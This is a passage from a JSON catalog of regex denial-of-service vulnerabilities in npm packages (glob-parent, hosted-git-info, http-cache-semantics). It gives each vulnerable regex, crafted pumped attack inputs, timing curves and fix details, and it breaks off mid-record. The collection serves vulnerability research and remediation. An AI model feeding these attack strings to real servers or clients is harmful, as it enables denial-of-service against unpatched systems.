bracket.","references":["https://nvd.nist.gov/vuln/detail/CVE-2020-28469","https://github.com/advisories/GHSA-ww39-953v-wcq6","https://github.com/gulpjs/glob-parent/pull/36"],"visualize":"https://aurelio-nakamura.github.io/regex-meltdown/#re=%5B%5C%7B%5C%5B%5D.*%5B%5C%2F%5D*.*%5B%5C%7D%5C%5D%5D%24&in=%7Baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!","verification":{"engine":"node v22.23.1","benign_ms":0.09,"curve":[{"input_length":2502,"pumps":2500,"ms":10.95,"timed_out":false},{"input_length":5002,"pumps":5000,"ms":43.67,"timed_out":false},{"input_length":10002,"pumps":10000,"ms":174.26,"timed_out":false},{"input_length":20002,"pumps":20000,"ms":702.14,"timed_out":false}],"empirical_class":"quadratic","class_agrees":true}},{"id":"hosted-git-info-CVE-2021-23362","name":"hosted-git-info","type":"cve","cve":"CVE-2021-23362","ghsa":"GHSA-43f8-2h32-f4cj","cwe":"CWE-1333","ecosystem":"npm","engine":"javascript","package":"hosted-git-info","affected":"<2.8.9","patched":"2.8.9","published":"2021-05-06","discovered_by":"Yeting Li","regex":"^([^:]+):(?:(?:[^@:]+(?:[^@]+)?@)?([^/]*))[/](.+?)(?:[.]git)?($|#)","flags":"","complexity":"quadratic","attack":{"prefix":"a:","pad":"a","suffix":"!"},"benign":"github:user/project","fix":{"type":"regex-rewrite","summary":"The shortcut parser nested two overlapping unbounded groups `[^@:]+(?:[^@]+)?` inside an optional `@` group, so a shortcut-style URL with a long run of characters that never reaches an `@` or `/` could be partitioned many ways before the mandatory `[/]` fails, giving quadratic backtracking. hosted-git-info 2.8.9 rewrote the regex to `^([^:]+):(?:[^@]+@)?(?:([^/]*)\\/)?([^#]+)`, replacing the ambiguous nesting with a single non-overlapping `[^@]+@` and an optional path group.","commit":"https://github.com/npm/hosted-git-info/commit/bede0dc38e1785e732bf0a48ba6f81a4a908eba3"},"description":"hosted-git-info parses shorthand and URL references to git hosts and is an extremely common transitive dependency (used by npm itself via normalize-package-data, and by countless build tools). Its shortcut-URL matcher backtracks quadratically on a shortcut-style string whose authority section is a long run of non-`@`, non-`/` characters that never satisfies the trailing path separator.","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-23362","https://github.com/advisories/GHSA-43f8-2h32-f4cj","https://github.com/npm/hosted-git-info/pull/76"],"visualize":"https://aurelio-nakamura.github.io/regex-meltdown/#re=%5E(%5B%5E%3A%5D%2B)%3A(%3F%3A(%3F%3A%5B%5E%40%3A%5D%2B(%3F%3A%5B%5E%40%5D%2B)%3F%40)%3F(%5B%5E%2F%5D*))%5B%2F%5D(.%2B%3F)(%3F%3A%5B.%5Dgit)%3F(%24%7C%23)&in=a%3Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!","verification":{"engine":"node v22.23.1","benign_ms":0.13,"curve":[{"input_length":2503,"pumps":2500,"ms":6.26,"timed_out":false},{"input_length":5003,"pumps":5000,"ms":24.17,"timed_out":false},{"input_length":10003,"pumps":10000,"ms":96.94,"timed_out":false},{"input_length":20003,"pumps":20000,"ms":392.55,"timed_out":false}],"empirical_class":"quadratic","class_agrees":true}},{"id":"http-cache-semantics-CVE-2022-25881","name":"http-cache-semantics","type":"cve","cve":"CVE-2022-25881","ghsa":"GHSA-rc47-6667-2j5j","cwe":"CWE-1333","ecosystem":"npm","engine":"javascript","package":"http-cache-semantics","affected":"<4.1.1","patched":"4.1.1","published":"2023-01-31","discovered_by":"reported via GitHub advisory GHSA-rc47-6667-2j5j","regex":"\\s*,\\s*","flags":"","complexity":"quadratic","attack":{"prefix":"","pad":" ","suffix":"!"},"benign":"max-age=600, no-cache","fix":{"type":"regex-rewrite","summary":"`parseCacheControl` in index.js split the incoming Cache-Control (and similar) header with `header.trim().split(/\\s*,\\s*/)` and each directive with `part.split(/\\s*=\\s*/, 2)`. Both split regexes surround the delimiter with a greedy `\\s*` on either side, so a header value that is a long run of whitespace containing no delimiter forces the engine, at every start offset, to greedily consume the remaining whitespace, fail to find `,` (or `=`), and backtrack one space at a time before giving up and advancing: O(n^2). http-cache-semantics 4.1.1 replaced the patterns with the delimiter-only `split(/,/)` and `split(/=/, 2)` and moved whitespace trimming into code with `.trim()`, removing the backtrackable `\\s*` and making parsing linear (fix commit 560b2d8ef452 \"Don't use regex to trim whitespace\").","commit":"https://github.com/kornelski/http-cache-semantics/commit/560b2d8ef4520b6c1dbb51f6f8bab53f2948540c"},"description":"http-cache-semantics is an extremely widely-installed npm package that implements RFC 7234 HTTP caching rules; it is a transitive dependency of many HTTP clients and caching layers (e.g. via `got`, `make-fetch-happen`, `cacheable-request`). Its `parseCacheControl` helper parsed the `Cache-Control` header by splitting on `/\\s*,\\s*/` and each directive on `/\\s*=\\s*/`. Because both split patterns wrap the delimiter with a greedy `\\s*`, a header consisting of a long whitespace run with no comma (or no `=`) makes the regex engine, starting at each of the O(n) positions, greedily consume the trailing whitespace, fail the delimiter, and backtrack one character at a time: quadratic O(n^2) blow-up. Since request/response headers are attacker-influenced, a maliciously crafted Cache-Control header is a denial-of-service vector against any server or client that parses it. http-cache-semantics 4.1.1 rewrote the split patterns to match the bare delimiter (`/,/`, `/=/`) and trim whitespace in code with `.trim()`, eliminating the backtracking.","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-25881","https://github.com/advisories/GHSA-rc47-6667-2j5j","https://github.com/kornelski/http-cache-semantics/commit/560b2d8ef4520b6c1dbb51f6f8bab53f2948540c"],"visualize":"https://aurelio-nakamura.github.io/regex-meltdown/#re=%5Cs*%2C%5Cs*&in=%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%